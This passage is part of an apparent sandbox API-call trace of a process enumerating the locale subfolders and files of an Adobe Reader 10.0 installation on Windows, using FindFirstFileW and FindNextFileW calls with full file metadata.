ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.198] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0148.200] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.200] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.200] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.200] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.200] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0148.200] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.200] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0148.200] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.609] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.609] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0148.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.610] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.610] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.611] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0148.611] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0148.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.613] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 [0148.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.615] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.615] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SVE", cAlternateFileName="")) returned 1 [0148.615] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0148.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.617] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.617] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.TUR", cAlternateFileName="ACCESS~1.TUR")) returned 1 [0148.618] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.619] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.619] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.620] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.TUR", cAlternateFileName="")) returned 1 [0148.620] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0148.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.647] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.647] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.UKR", cAlternateFileName="ACCESS~1.UKR")) returned 1 [0148.648] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0148.715] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.715] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0148.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0148.716] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0148.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.718] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.718] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0148.719] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, 